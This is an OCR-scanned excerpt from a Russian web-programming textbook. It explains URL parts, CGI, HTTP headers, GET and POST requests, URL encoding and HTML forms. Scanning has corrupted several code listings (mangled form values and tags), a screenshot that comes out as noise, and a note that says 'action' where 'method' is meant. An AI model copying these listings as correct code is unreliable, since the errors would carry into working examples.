26 Часть I. Основы Web-программирования

Ответ довольно-таки очевиден . Действительно , каждый Web-сайт обычно
хранит в себе множество документов . Следовательно, нужно иметь меха-
низм, который бы позволял пользователю ссылаться на конкретный доку-
мент внутри указанного хоста.

В общем случае URL выглядит примерно так:

http://www.somehost.com:80/path/to/document.html

Давайте рассмотрим чуть подробнее каждую логическую часть этого URL.

Протокол

Часть URL, предваряющая имя хоста и завершающаяся двумя косыми чер-
тами (в нашем примере h t t p : / / ) , указывает браузеру, какой высокоуровне-
вый протокол нужно использовать для обмена данными с Web-сервером.
Обычно это HTTP, но могут поддерживаться и другие протоколы. Напри-
мер, протокол HTTPS позволяет передавать информацию в специальном
зашифрованном виде, чтобы злоумышленники не могли ее перехватить, -
конечно, если Web-сервер способен с ним работать. Нужно заметить, что
все подобные протоколы базируются на сервисе, предоставляемом TCP, и
по большей части представляют собой лишь набор текстовых команд. В сле-
дующей главе мы убедимся в этом утверждении , разбирая, как работает про-
токол HTTP.

Имя хоста

Следом за протоколом идет имя узла, на котором размещается запрашивае-
мая страница (в нашем примере — www.somehost.com) . Это может быть не
только доменное имя хоста, но и его IP-адрес. В последнем случае, как не-
трудно заметить, мы сможем обращаться только к узлам (невиртуальным
хостам), потому что лишь они однозначно идентифицируются указанием их
IP-адреса.

Порт

Сразу за именем хоста через двоеточие может следовать (а может и быть
опущен) номер порта. Исторически сложилось, что для протокола HTTP
стандартный номер порта — 80 (или 81) . Именно это значение используется
браузером, если пользователь явно не указал номер порта. Как мы знаем ,
порт идентифицирует постоянно работающую программу на сервере (или ,
как ее нередко называют, сетевой демон), в частности, порт 80 связывается
с Web-сервером, который и осуществляет обработку HTTP-запросов клиен-
тов и пересылает им нужные документы . Существуют и другие демоны , на-
пример, FTP и Telnet , но к ним нельзя подключиться с помощью браузера.

----------------------- Page 42-----------------------
Глава 1. Принципы работы Интернета 27

Путь к странице

Наконец, мы дошли до последней части адресной строки — пути к файлу
страницы (в нашем примере это /path/to/document .html) . Как уже упомина-
лось, совершенно не обязательно, чтобы эта страница действительно присут-
ствовала, — вполне типична ситуация , когда страницы создаются "на лету" и
не представлены отдельными файлами в файловой системе сервера. Напри-
мер, сайт новостей может использовать виртуальные пути типа /Y/M/N.htm l
для отображения всех новостей за число N месяца М года Y, так что пользова-
тель, набрав в браузере адрес наподобие http://новострой_сервер/20оо/
ю/20.html , сможет прочитать новости за 20 октября 2000 года. При этом
файла с именем 20.html физически нет, существует только виртуальный путь
к нему , а всю работу по генерации страницы берет на себя программное
обеспечение сервера (в последней части этой книги я расскажу , как такое
программное обеспечение можно написать).

Есть и другой механизм обработки виртуальных путей, когда запрошенные
файлы представляют собой статические объекты, но располагаются где-то в
другом месте. С точки зрения программного обеспечения путь к документу
отсчитывается от некоторого корневого каталога, который указывает адми-
нистратор сервера. Практически все серверные программы позволяют созда-
вать псевдонимы для физических путей. Например, если мы вводим:

http://www.somehost.com/cgi-bin/something

отсюда не следует, что существует каталог cgi-bin , — это может быть лишь
имя псевдонима , ссылающегося на какую-то другую каталог.

Расширение html (от HyperText Markup Language — Язык разметки гипер-
текста) принято давать документам со страницами Web . HTML представляет
собой язык , на котором задается расположение текста, рисунков , гиперссы-
лок и т. д. Кроме html часто встречаются и другие форматы данных : gif ,
jp g — для изображений, cgi , pi — для сценариев (программ, запускаемых
на сервере) и т. д. Вообще говоря, сервер можно настроить таким образом,
чтобы он корректно работал с любыми расширениями, например, никто не
запрещает нам сконфигурировать его так, чтобы файлы с расширением htm
также рассматривались как HTML-документы (что часто и делается).

З а м е ч а н и е )

Браузеру совершенно все равно, какое расширение у запрошенного объекта —
он ориентируется по другому признаку.

----------------------- Page 43-----------------------
Глава 2

Интерфейс CGI

Термин CGI (Common Gateway Interface — Общий шлюзовой интерфейс)
обозначает набор соглашений, которые должны соблюдаться Web-серверами
при выполнении ими различных Web-приложений . Вскоре мы расшифруем
его смысл гораздо более подробно. Фактически, до недавнего времени все
Web-программирование представляло собой программирование CGI-прило-
жений . В последнее время ситуация изменилась. И хотя CGI все еще оста-
ется негласным стандартом для Web-приложений, механизм работы CGI-
программ несколько обновился.
В этой и следующей главах мы будем разбирать основы традиционного
CGI-программирования, не касаясь напрямую РНР. В качестве языка для
примеров выбран Си, поскольку его компиляторы можно найти практиче-
ски в любой операционной системе, и по той причине , что он "наиболее
красиво" показывает, почему его не следует использовать в Web-програм-
мировании. Да-да, это не опечатка. Вскоре вы поймете, что я хотел сказать.

Что такое CGI?

Итак, мы набираем в нашем браузере

http://www.somehost.com:80/path/to/document.ext

Мы ожидаем, что сейчас получим HTML-документ (или документ другого
формата — например , рисунок) . Иными словами , мы рассчитываем, что на
хосте в каталоге / p a t h / t o / расположен файл document . ext , который нам
сейчас и доставят (передаст его, кстати, Web-сервер, подключенный к порту
80 на сервере).
Однако на самом деле ситуация несколько иная. По двум причинам .
П Путь /path/to/ , ровно как и файл document.ext на хосте может вообще
не существовать. Ведь администратор сервера имеет возможность задать
псевдоним (alias) для любого объекта на сервере. Кроме того, даже если и
не назначено никакого псевдонима , все равно имеется возможность так
написать программы для Web-сервера, что они будут "перехватывать" ка-
ждое обращение к таким путям и соответствующим образом реагировать
на это (пример рассмотрен в главе 7).

----------------------- Page 44-----------------------
Глава 2. Интерфейс CGI 29

П Файл document. ext может быть вовсе не текстовым документом, а про-
граммой, которая в ответ на наш запрос молниеносно запустится, не ме-
нее стремительно выполнится и возвратит пользователю результаты своей
работы, хотя бы в том же HTML-формате (или, разумеется, в любом
другом, — например, это может быть изображение). Пользователь и не
догадается, что на самом деле произошло. Для него все равно, загружает
ли он документ или невольно запускает программу. Более того, он никак
не сможет узнать, что же на самом деле случилось.

Последний пункт особенно впечатляющ. Если вы прониклись его идеей,
значит, вы поняли в общих чертах, что такое CGI. Как раз CGI обеспечива-
ет все то, что выглядит так прозрачно для пользователя. Традиционно про-
граммы, работающие в соответствии с соглашениями CGI, называют сцена-
риями — скорее всего из-за того, что в большинстве случаев их пишут на
языках-интерпретаторах, подобных Basic (например, на Perl или РНР).

Задумаемся на мгновенье. Мы получили довольно мощный механизм , кото-
рый позволяет нам, в частности, формировать документы "на лету". К при-
меру, пусть нам нужно , чтобы в каком-то документе проставлялись текущая
дата и время . Разумеется, мы не можем заранее прописать их в документе -
ведь в зависимости от того, когда он будет загружен пользователем, эта дата
должна меняться. Зато мы можем написать сценарий, который вычислит
дату, вставит ее в документ и затем передаст его пользователю, который да-
же ничего и не заметит!

Однако в построенной нами модели не хватает одного звена. Действительно,
предположим, нам нужно, чтобы время в нашей странице проставлялось на
основе часового пояса пользователя. Но как сценарий узнает, какой часовой
пояс у региона, в котором живет этот человек (или какую-нибудь другую
информацию, которую может предоставить пользователь)? Видимо , должен
быть какой-то механизм, который позволит пользователю не только полу-
чать, но также и передавать информацию серверу (в данном случае, напри-
мер, поправку времени в часах относительно Москвы). И это тоже обеспе-
чивает CGI. Но вернемся прежде снова к URL.

Секреты URL

Помните, я выше описывал, как-выглядит URL? Каюсь, приврал. На самом
деле URL имеет более "длинный" вид:

http://www.somehost.com:80/path/to/document.ext?parameters

Как нетрудно заметить, может существовать еще строка parameters , сле-
дующая после вопросительного знака . В некоторой степени эта строка ана-
логична командной строке ОС. В ней может быть все, что угодно, она мо-
жет быть любой длины (однако следует учитывать, что некоторые символы

----------------------- Page 45-----------------------
30 Часть I. Основы Web-программирования

должны быть URL-закодированы, см. ниже). Вот как раз эта-то строка и
передается CGI-сценарию.

С Замечание ^

На самом деле существуют некоторые ограничения на длину строки парамет-
ров. Но нам приходится сталкиваться с ними слишком редко, чтобы имело
смысл об этом говорить.

Вернемся к нашему предыдущему примеру. Теперь пользователь может ука-
зать свой часовой пояс сценарию , например , так:

http://www.somehost.com/script.cgi?time=+5

Сценарий с именем script.cgi , после того как он запустится и получит эту
строку параметров, должен ее проанализировать (например, создать пере-
менную time и присвоить ей значение +5, т. е. 5 часов вперед) и дальше ра-
ботать как ему нужно. Обращаю ваше внимание на то, что принято пара-
метры сценариев указывать именно В виде переменная=значение .

А если нужно передать несколько параметров (например , не только часовой
пояс, но и имя пользователя)? Сделаем это следующим образом:

http://www.somehost.com/script.cgi?time=+5&name=Vasya

Опять же, принято разделять параметры с помощью символа &. Будем в
дальнейшем придерживаться этого соглашения, поскольку именно таким
образом поступают браузеры при обработке форм. (Видели когда-нибудь на
странице несколько полей ввода и переключателей, а под ними кнопку
"Отправить"? Это и есть форма, с ее помощью можно автоматизировать
процесс передачи данных сценарию) . Ну и, разумеется, сценарий опять же
должен адекватно среагировать на эти параметры: провести разбор строки,
создать переменные и т. д. Обращаю ваше внимание на то, что все эти дей-
ствия придется программировать вручную, если мы хотим воспользоваться
языком Си.

Так вот, такой способ посылки параметров сценарию (когда данные поме-
щаются в командную строку URL) называется методом GET . Фактически,
даже если не передается никаких параметров (например, при загрузке ста-
тической страницы) , все равно применяется метод GET . Все? Нет, не все.
Существует еще один распространенный способ (не менее распространен-
ный) - метод POST , но давайте прежде рассмотрим, на каком языке
"общаются" браузер и сервер.

Заголовки и метод GET

Задумаемся на минуту, что же происходит, когда мы набираем в браузере
строку somestring и нажимаем <Enter>. Браузер посылает серверу запрос

----------------------- Page 46-----------------------
Глава 2. Интерфейс CGI 31_

somestring? Нет, конечно. Все немного сложнее. Он анализирует строку,
выделяет из нее имя сервера и порт (а также имя протокола, но нам это
сейчас не интересно), устанавливает соединение с Web-сервером по адресу
сервер-.порт и посылает ему что-то типа следующего:

GET somestring HTTP/1.0\n

...другая информация.. .

\n\n

Здесь \п означает символ перевода строки, а \п\ п — два обязательных сим-
вола новой строки, которые являются маркером окончания запроса (точнее,
окончания заголовков запроса). Пока мы не пошлем этот маркер, сервер не
будет обрабатывать наш запрос .

Как видим, после GET-строки могут следовать и другие строки с информа-
цией, разделенные символом перевода строки. Их обычно формирует брау-
зер. Такие строки называются заголовками (headers), и их может быть сколь-
ко угодно. Протокол HTTP как раз и задает правила формирования и интер-
претации этих заголовков.

Вот мы и начинаем знакомство с протоколом HTTP. Как видите, он пред-
ставляет собой ни что иное, как просто набор заголовков, которыми обме-
ниваются сервер и браузер, и еще пару соглашений насчет метода POST , ко-
торые мы вскоре рассмотрим.
Не все заголовки обрабатываются сервером — некоторые просто пересыла-
ются запускаемому сценарию с помощью переменных окружения. Перемен-
ные окружения представляют собой именованные значения параметров, ко-
торые операционная система (точнее, процесс-родитель) передает запущен-
ной программе. Программа может с помощью специальных функций (их мы
рассмотрим в следующей главе на примерах) получить значение любой ус-
тановленной переменной окружения , указав ее имя. Именно так и должен
поступать CGI-сценарий , когда захочет узнать значение того или иного за-
головка запроса. К сожалению, набор передаваемых сценарию заголовков
ограничен стандартами, и некоторые заголовки нельзя получить из сценария
никаким способом (ему просто недоступна соответствующая переменная
окружения). Такие случаи мы будем оговаривать особо.

С Замечание ^)

Если быть до конца честным, то все-таки системный администратор может на-
строить сервер так , чтобы он посылал сценарию и те заголовки, которые по
стандарту не передаются. Однако это выходит далеко за рамки Web-
программирования, поэтому мы не будем останавливаться на этом вопросе.

Ниже приводятся некоторые заголовки запросов с их описаниями, а также
имена переменных окружения , которые использует сервер для передачи их
CGI-сценарию. Я указываю заголовки вместе с примерами в том контексте.

----------------------- Page 47-----------------------
32 Часть I. Основы Web-программирования

в котором они могут быть применены , иными словами, вместе с наиболее
распространенными их значениями . Так будет несколько нагляднее.

GET

П Формат : GET сценарий?параметры НТТР/1. 0

П Переменные окружения: REQUESTJJRI ; в переменной QUERY_STRIN G со-
храняется значение параметры , в переменной REQUEST_METHOD — ключе-
вое СЛОВО GET.

Этот заголовок является обязательным (если только не применяется метод
POST) и определяет адрес запрашиваемого документа на сервере. Также за-
даются параметры, которые пересылаются сценарию (если сценарию ничего
не передается, или же это обычная статическая страница, то все символы
после знака вопроса и сам знак опускаются). Вместо строки HTTP/ I . о может
быть указан и другой протокол — например, H T T P / I , i. Именно его согла-
шения и будут учитываться сервером при обработке данных, поступивших
от пользователя, и других заголовков.
Строка сценарий?параметры задается в том же самом формате, в котором
она входит в URL . Неплохо было бы назвать эту строку как-нибудь более
реалистично, чтобы учесть возможность присутствия в ней командных па-
раметров. Такое название действительно существует и звучит как URI
(Universal Resource Identifier - Универсальный идентификатор ресурса).
Очень часто его смешивают с понятием URL (вплоть до того, что это про-
исходит даже в официальной документации по стандартам HTTP). Давайте
договоримся, что в будущем я всегда буду называть словом URL полный путь
к некоторой Web-странице вместе с параметрами, и условимся, что под сло-
вом URI будет пониматься его часть, расположенная после имени (или IP-
адреса) хоста и номера порта.

POST

О Формат: POST сценарий?параметры Н Т Т Р / 1 . 0

П Переменная окружения: REQUESTJJRI ; в переменной QUERY_STRIN G сохра-
няется значение параметры, в переменной REQUEST_METHOD — слово POST.

Этот заголовок используется при передаче данных методом POST. Вскоре мы
рассмотрим этот метод подробнее, а пока скажу лишь, что он отличается от
метода GET тем, что данные можно передавать не только через командную
строку, но и в конце всех заголовков.

Content-type

П Формат: Content-Type : application/x-www-form-urlencode d

О Переменная: CONTENT TYPE

----------------------- Page 48-----------------------
Глава 2. Интерфейс CGI 33

Данный заголовок идентифицирует тип передаваемых данных. Обычно для
этого указывается значение appiication/x-www-form-uriencoded , что озна-
чает формат, в котором все управляющие символы (отличные от алфавитно-
цифровых и других отображаемых) специальным образом кодируются. Это
тот самый формат передачи, который используется методами GET и POST.
Довольно распространен и другой формат, и называется он
multipart/form-data . Мы разберем его, когда будем обсуждать вопрос, ка-
сающийся загрузки файлов на сервер.

Хочу обратить ваше внимание на то, что сервер никак не интерпретирует
рассматриваемый заголовок, а просто передает его сценарию через перемен-
ную окружения .

User-Agent

П Формат: User-Agent : M o z i l l a / 4 . 5 [en ] ( W i n 9 5 ; I )

П Переменная окружения: HTTPJJSER_AGENT

Уточняет версию браузера (в данном случае это Netscape Navigator).

Referer

П Формат: Referer : икь_адрес

П Переменная окружения: HTTP_REFERER

Как правило , этот заголовок формируется браузером и содержит URL стра-
ницы, с которой осуществился переход на текущую страницу по гиперссыл-
ке. Впрочем, если вы пишете сценарий, который в целях безопасности от-
слеживает значение данного заголовка (например, для его запуска только с
определенной страницы), помните, что умелый хакер всегда сможет подде-
лать ЗаГОЛОВОК Referer .

С Замечание )

Вы, наверное, подумали, что слово referer пишется по-английски с двумя бук-
вами "г". Да , вы правы. Однако те, кто придумывал стандарт HTTP, этого, ви-
димо, не знали. Так что не позволяйте столь досадному факту ввести себя в
заблуждение, когда будете в сценарии использовать переменную окружения
HTTP_REFERER.

Content-length

П Формат: Content-length : длина

П Переменная окружения: CONTENT_LENGTH

----------------------- Page 49-----------------------
34 Часть I. Основы Web-программирования

Заголовок содержит строку, являющуюся десятичным представлением дли-
ны данных в байтах, передаваемых методом POST. Если задействуется метод
GET, то этот заголовок отсутствует, и значит , переменная окружения не ус-
танавливается.

Cookie

П Формат: Cookie : значения_Соо)<1ез

П Переменная окружения : HTTP_COOKIE

Здесь хранятся все Cookies в URL-кодировке (о Cookies мы подробнее пого-
ворим в следующей главе).

Accept

О Формат: Accept : text/html , text/plain , image/gif , image/jpeg

П Переменная окружения : НТТР_АССЕРТ

В этом заголовке браузер перечисляет, какие типы документов он
"понимает". Перечисление идет через запятую. К сожалению, в последнее
время браузеры стали несколько небрежны и часто присылают в этом заго-
ловке значение */* , что обозначает любой тип .

Существует еще множество заголовков запроса (часть из них востребуются
только протоколом HTTP 1.1) , но мы не будем на них задерживаться.

Эмуляция браузера через telnet

Между прочим, при передаче запроса браузер "притворяется" пользователем,
который запустил telnet-клиента (программу, которая, грубо говоря, умеет
подключаться к заданному IP-адресу и порту, посылать по нему то, что на-
бирается на клавиатуре, и отображать на экране поступающие "снаружи"
данные) и вводит строки заголовков вручную — т. е., в текстовом виде. На-
пример, вместо того чтобы набрать в браузере h t t p : / / w w w . s o m e h o s t . c o m / ,
попробуйте в командной строке ОС (Unix, Windows 95/98/NT/2000 или лю-
бой другой) выполнить следующие команды (вместо <Enter> нажимая соот-
ветствующую клавишу):

telnet www.somehost.com 80<Enter>

GET /index.html HTTP/1.0<Enter>

<Enter>

Вы увидите, как перед вами промелькнут строки HTML-документа
index.html . Очень рекомендую проделать описанную процедуру, чтобы из-
бавиться от духа мистицизма при упоминании о протоколе HTTP. Все это
не так сложно, как иногда может показаться.

----------------------- Page 50-----------------------
Глава 2. Интерфейс CGI 35

Примечание

Если у вас указанная процедура не удалась, и сервер все время шлет сообще-
ние "Bad Request", то проверьте регистр символов, в котором вы набираете ко-
манды. Все буквы должны быть заглавными, а название протокола
HTTP/I . о — идти без пробелов.

Посмотрим теперь, как работает сервер. А происходит все следующим обра-
зом: он считывает все заголовки запроса и дожидается маркера "\п\п " (или,
что то же самое, "пустого" заголовка), а как только его получает, начинает
разбираться — что же ему за информация пришла, и выполнять соответст-
вующие действия.

С помощью заголовков реализуются такие механизмы, как контроль коди-
ровок, Cookies, метод POST и т. д. Если же сервер не понимает какого-то
заголовка, он его либо пропускает, либо жалуется отправителю (в зависимо-
сти от воли администратора, который настраивал сервер).

Метод POST

Мы подошли к сути метода POST . А что, если мы в предыдущем примере
зададим вместо GET слово POST и после последнего заголовка (маркера \п\п)
начнем передавать какие-то данные? В этом случае сервер их воспримет и
также передаст сценарию. Только нужно не забыть проставить заголовок
Content-length в соответствии с размером данных , например:

POST /script.cgi HTTP/1.0\n

Content-length : 5\n

\n

Test !

Сервер начнет обработку запроса, не дожидаясь передачи данных после
маркера конца заголовков. Иными словами, сценарий запустится сразу же
после отправки \п\п , а уж ждать или не ждать, пока придет строка Test !
длиной 5 байтов — его дело.

Последнее означает, что сервер никак не интерпретирует POST-данные
(точно так же, как он не интерпретирует некоторые заголовки), а пересыла-
ет их непосредственно сценарию. Но как же сценарий узнает, когда данные
кончаются, т. е. когда ему прекращать чтение информации , поступившей от
браузера? В этом ему поможет переменная окружения content-Length, и
именно на нее следует ориентироваться. Чуть позже мы рассмотрим этот
механизм подробнее.

Зачем нужен метод POST? В основном для того, чтобы передавать большие
объемы данных. Например, при загрузке файлов через Web (см. ниже) или
при обработке больших форм. Кроме того, метод POST часто используют для

----------------------- Page 51-----------------------
36 Часть I. Основы Web-программирования

эстетических целей: дело в том, что при применении GET , как вы, наверное,
уже заметили, URL сценария становится довольно длинным и неизящным,
а POST-запрос оставляет URL без изменения.

Кодировки и форматы данных

Ранее упоминалось, что и в методе GET , и в методе POST данные доставляют-
ся в URL-кодированном виде. Что это значит?
Уж не знаю, откуда взялась эта дурная традиция (может, из стремления со-
хранить совместимость с древними программами, которыми вот уже лет 20
никто не пользуется), но почему-то все Интернет-сервисы — начиная от
E-mail и заканчивая Web — как-то очень "не любят" байты со значениями ,
превышающими 127. Поэтому применяется изощренный способ перекоди-
ровки, который все символы в диапазонах 0 .. 32 и 128 .. 256 представляет в
URL-кодированном виде. Например, если нам нужно закодировать символ с
шестнадцатеричным кодом ЭЕ , это будет выглядеть так: % Э Е . Помимо этого,
пробел представляется символом плюс (+). Так что будьте готовы к тому,
что вашим сценариям будут передаваться данные именно в таком виде.
В частности, все буквы кириллицы преобразуются в подобную абракадабру
(соответственно, размер данных увеличивается примерно в 3 раза!). Поэтому
программы должны всегда быть готовы перекодировать информацию туда-
сюда-обратно.
Но это только пол-беды. Дело в том, что существует еще такая неприятная
проблема, как кодировки символов кириллицы. И неприятно не столько то,
что они существуют, сколько то, что они все не подчиняются никакому
единому логическому правилу, в отличие он ASCII. Если при этом текст,
который пришел, допустим , в кодировке KOI-8-R, просматривают в WIN -
кодировке, получается редкостная путаница.
Казалось бы, чего сложного — выполнить автоматическое перекодирование
в читабельный вид полученного текста (кстати говоря, относительно часто
этот текст даже снабжен указанием, в какой же он кодировке). Однако, на-
смотревшись на разнообразные программные продукты, складывается такое
впечатление, что эта проблема сложнее, чем создание искусственного ин-
теллекта! А дело все в том, что "интеллектуальные" серверы вместо того,
чтобы присылать и принимать текст всегда в фиксированной кодировке и
переложить эту проблему на плечи браузеров, зачем-то сами занимаются
перекодировкой. И браузеры в своем большинстве — тоже. Так что иногда
бывает, что текст приходит "зашифрованным" с помощью каких-то двух эк-
зотических кодировок, что окончательно его портит.

( З а м е ч а н и е ^

Существуют даже специальные программы, которые пытаются раскодировать
текст, который по ошибке был преобразован несколько раз и потому приобрел

----------------------- Page 52-----------------------
Глава 2. Интерфейс CGI 37

нечитаемый вид. Одна из них — почтовый декодер Лебедева, работающий в
online-режиме. Само наличие таких программ красноречиво свидетельствует,
как далеко все зашло в вопросе о статусе русских кодировок.

Что может быть глупее? А все по той причине, что нет строгого стандарта на
кириллицу и что, якобы, где-то в мире существуют браузеры, которые не
умеют перекодировать информацию. Скажите на милость, зачем они тогда
вообще нужны, если не умеют делать даже такой простой вещи, как таблич-
ные преобразования? Или это сделано для тех, кто читает Web-страницы не
через браузер, а по telnet'y? И почему же из-за жалкой горстки пользовате-
лей должна страдать остальная часть населения страны?

Ну ладно-ладно, я уже успокоился . Прошу прощения , что влез на стол и
кричал. Давайте продолжим.

Что такое формы
и для чего они нужны

Итак, мы знаем, что наиболее распространенными методами передачи дан-
ных между браузером и сценарием являются GET и POST . Однако вручную
задавать строки параметров для сценариев и к тому же URL-кодировать их,
согласитесь, довольно утомительно. Давайте посмотрим, что же язык HTML
предлагает нам для облегчения жизни .

Сначала рассмотрим метод GET. Даже программисту довольно утомительно
набирать параметры в URL вручную. Всякие там ?, & , %.. . Представьте себе
пользователя, которого принуждают это делать. К счастью, существуют
удобные возможности языка HTML, которые, конечно, поддерживаются
браузерами. И хотя я уже замечал, что в этой книге будет лишь немного
рассказано о HTML, о формах мы поговорим очень подробно.

Итак, пусть у нас на сервере в корневом каталоге размещен файл сценария
script.cgi (наверное, вы уже заметили , что расширение cgi принято при-
сваивать CGI-сценариям, хотя, как уже упоминалось , никто не мешает вам
использовать любое другое слово). Этот сценарий распознает 2 параметра:
name и аде . Где эти параметры задаются, мы пока не решили. При переходе
по адресу http://www.somehost.com/script.cg i он должен отработать и
вывести следующую HTML-страницу:

<html><body>

Привет , name ! Я знаю , Вам age лет !

</body></html>

Разумеется, при генерации страницы нужно name и age заменить на соот-
ветствующие значения, переданные в параметрах.

----------------------- Page 53-----------------------
38 Часть I. Основы Web-программирования

Передача параметров "вручную"

Давайте будем включать параметры прямо в URL, в строку параметров. Та-
ким образом , если запустить в браузере

http://www.somehost.com/script.cgi?riame=Vasya&age=20

мы получим страницу с нужным результатом:

<htmlxbody>

Привет , Vasya ! Я знаю , Вам 20 лет !

</body></html>

Заметьте, что мы разделяем параметры символом & , а также используем знак
равенства =. Это неспроста. Сейчас мы обсудим, почему.

Использование формы

Как теперь нам сделать, чтобы пользователь мог в удобной форме ввести
свое имя и возраст0 Очевидно , нам придется создать что-то вроде диалого-

вого окна Windows , только в браузере. Итак, нам понадобится обычный
HTML-документ (например, с именем form.html и расположенный в корне-
вом каталоге) с элементами этого диалога — полями ввода текста и кноп-
кой, при нажатии на которую запустится наш сценарий. Текст этого доку-
мента приведен в листинге 2.1.

I Листинг 2.1. Документ /form.html с формой

<htmlxbody>

<form action=script.cgi method=GET>

Введите имя:

<input type=text name="name" value="Hen3BecTHbM"xbr>

Введите возраст :

<input type=text name="age " value="HeonpefleneHHbM"><br>
<input type=submit value="Нажмите кнопку!">

</body></html>

Замечание

Вы можете заметить, что некоторые атрибуты тэгов я написал в кавычках
(например, name="age") , а некоторые — нет. Как показывает практика, везде,
где это не конфликтует с синтаксисом HTML (то есть, в текстах, в которых нет
пробелов и букв кириллицы), можно кавычки опускать. Мне лично нравится за-
ключать значения полей name и value в кавычки, а остальные — писать без
них. Правда, стандарт на язык HTML это не допускает (он требует обязательно-

----------------------- Page 54-----------------------
Глава 2. Интерфейс CGI 39

го наличия кавычек), но большинство браузеров относится к этому весьма и
весьма лояльно.

Загрузим наш документ в браузер. Получим примерно следующее:

'jlXAhomolciaclcciAwwwYlorm.hlml - Microsoft
Файл Драока Вид ^Переход | Избранное J »

........ "Щ ..............
. , ...
^ ОСТЙНОВИ ' ОбНОВИТЬ ДОМОЙ ; ." ПОИСК

' i Т Ь - - ; : ." • • • • • • :

\ Адрес | http://wvvw.sornehos1.camAorm.html

Введите имя: [Неизвестный
Введите возраст: (неопределенный
Нажмите кнопку! J ;

:.[ | | |S|Мой компьютер

Рис. 2.1. HTML-форма

Теперь, если занести в поле пате свое имя, а в поле для возраста — возраст
и нажать кнопку Нажмите кнопку!, браузер обратится к сценарию по URL,
указанному в атрибуте action тэга <form > формы:
http://www.somehost.com/script.cgi

Он передаст через ? все параметры, которые помещены внутрь тэгов input в
форме, отделяя их амперсандом (&) . Имена полей и их значения будут раз-
делены знаком =. Теперь вы понимаете, почему мы с самого начала исполь-
зовали эти символы?
Итак, реальный URL, который будет сформирован браузером при старте
сценария, будет таким (учитывая, что на странице был пользователь по
имени Vasya и ему 20 лет):
http://www.somehost.com/script.cgi?name=Vasya&age=20
Самое, пожалуй, полезное, что можно вынести из рассмотренного приме-
ра, — то, что все URL-перекодирования и преобразования осуществляются
браузером автоматически. То есть, пользователю теперь совершенно не
нужно об этом задумываться и ломать голову над путаницей шестнадцате-
ричных кодов и управляющих символов.

Абсолютный и относительный
путь к сценарию

Обратим внимание на поле action тэга <form> . Поскольку он не предваря-
ется слэшем (/), то представляет собой относительный путь к сценарию.

----------------------- Page 55-----------------------
40 Часть I. Основы Web-программирования

То есть браузер при анализе тэга попытается выдать запрос на запуск сцена-
рия, имеющего имя script.cgi и расположенного в том же самом каталоге,
что и форма (точнее, HTML-документ с формой).

( Замечание J

Как вы, наверное, догадались, термин "каталог" здесь весьма условен. На са-
мом-то деле имеется в виду не реальный каталог на сервере (о котором брау-
зер, кстати, ничего не знает), а часть URL, предшествующая последнему сим-
волу / в полном URL файла с формой. В нашем случае это просто
http://www.somehost.com . Заметьте, что здесь учитывается имя хоста. Как
видим, все это мало похоже на обычную файловую спецификацию.

Однако можно указать и абсолютный путь, как на текущем, так и на другом
хосте. В первом случае параметр action будет выглядеть примерно следую-
щим образом:

<form action="/some/path/script.cgi" >

Браузер определит, что это абсолютный путь в пределах текущего хоста
(точнее, хоста, на котором расположен документ с формой) по наличию
символа / впереди пути. Рекомендуется везде, где только возможно, пользо-
ваться таким определением пути, всячески избегая указания абсолютного
URL с именем хоста — конечно, за исключением тех ситуаций, когда ресурс
размещен сразу на нескольких хостах (такое тоже иногда встречается).

Во втором случае получится приблизительно следующее:

<form action="http://www.other.com/any/script.cgi">

Еще раз обратите внимание на то, что браузеру совершенно все равно, где
находится запускаемый сценарий — на том же хосте, что и форма, или нет.
Это позволяет создавать сайты, расположенные на нескольких хостах,
"прозрачно" для их посетителей. Вся идеология сети Интернет и службы
World Wide Web построена на этой идее — возможности свободного пере-
мещения (и ее легкости) по гиперссылкам, где бы ни находился сервер, на
который они указывают.

Метод POST» формы

Что же теперь нужно сделать, чтобы послать данные не методом GET , а ме-
тодом POST? Нетрудно догадаться: достаточно вместо method=GET указать
method=PosT. Больше ничего менять не надо.

Замечание

Если не задать параметра action в тэге <form> вообще, то по умолчанию
подразумевается метод GET.

----------------------- Page 56-----------------------
Глава 2. Интерфейс CGI _ 41

Таким образом, мы можем теперь вообще не нагружать пользователя такой
информацией, как имя сценария, его параметры и т. д. Он всегда будет
иметь дело только с полями ввода текста, переключателями и кнопками
формы, а также с гиперссылками.

Однако в рассмотренной схеме не все гладко с точки зрения простоты: сце-
нарий один, а файла-то два (документ с формой и файл сценария). Есть
простое обходное решение этой проблемы, которое рекомендуется приме-
нять всюду, где это только возможно: пусть сценарий в первую очередь про-
веряет, запущен ли он с параметрами или без них. Если параметров нет, то
сценарий выдает пользователю HTML-документ с формой, в противном
случае — результаты работы. Это удобно еще и потому, что, возможно, вы
захотите, чтобы пользователь обязательно ввел свое имя. То есть, если он
забудет это сделать, ему будет выдана все та же форма с сообщением напро-
тив поля ввода для имени: "Извините, но Вы забыли ввести свое имя . По-
пробуйте еще, вдруг на этот раз получится?". А в следующей главе мы по-
путно рассмотрим, как проще всего определить, был запущен сценарий по
нажатии кнопки или же просто набором его URL в браузере.

Замечание

Приведенная схема минимизации количества документов стандартна и весьма
универсальна (ее применют 99% сценариев, которые можно найти в Интерне-
те). Она еще и удобна для пользователя, потому что не создает "мертвых"
ссылок (любой URL сценария, который он наберет, пусть даже и без парамет-
ров, будет корректным). Однако программирование этой схемы на Си (и на не-
которых других языках) вызывает определенные проблемы. Язык РНР таких
проблем лишен.

----------------------- Page 57-----------------------
Глава 3

CGI изнутри

До сих пор мы рассматривали лишь теоретические аспекты CGI. Мы знаем
в общих чертах, как и что передается пользователю сервером и наоборот.
Однако как же все-таки должна быть устроена CGI-программа (CGI-
сценарий), чтобы работать с этой информацией? Откуда она ее вообще по-
лучает и куда должна выводить, чтобы переслать текст пользователю?

И это только небольшая часть вопросов, которые пока остаются открытыми.
В этой главе я постараюсь вкратце описать, как же должны на самом деле
быть устроены внутри CGI-сценарии. На мой взгляд, каждый программист
обязан хотя бы в общих чертах знать, как работает то, что он использует -
будь то операционная система (ОС) или удобный язык-интерпретатор для на-
писания CGI-сценариев (каким является РНР). А значит, речь пойдет о про-
граммировании на Си. Я выбрал Си, т. к. это одно из самых лучших и лако-
ничных средств; кроме того, именно на Си чаще всего пишут те сценарии ,
которым требуется максимально критичное быстродействие (базы данных,
поисковые системы, системы почтовой рассылки с сотнями тысяч пользова-
телей и др.). В пользу этого языка говорит также и то, что его компиляторы
можно встретить практически в любой сколько-нибудь серьезной ОС.

Тем не менее, вы не найдете в этой главе ни одной серьезной законченной
программы на Си (за исключением разве что самой простой, типа "Hello,
world!"). Несмотря на это, я попытаюсь описать практически все, что может
понадобиться при программировании сценариев на Си (кроме работы с со-
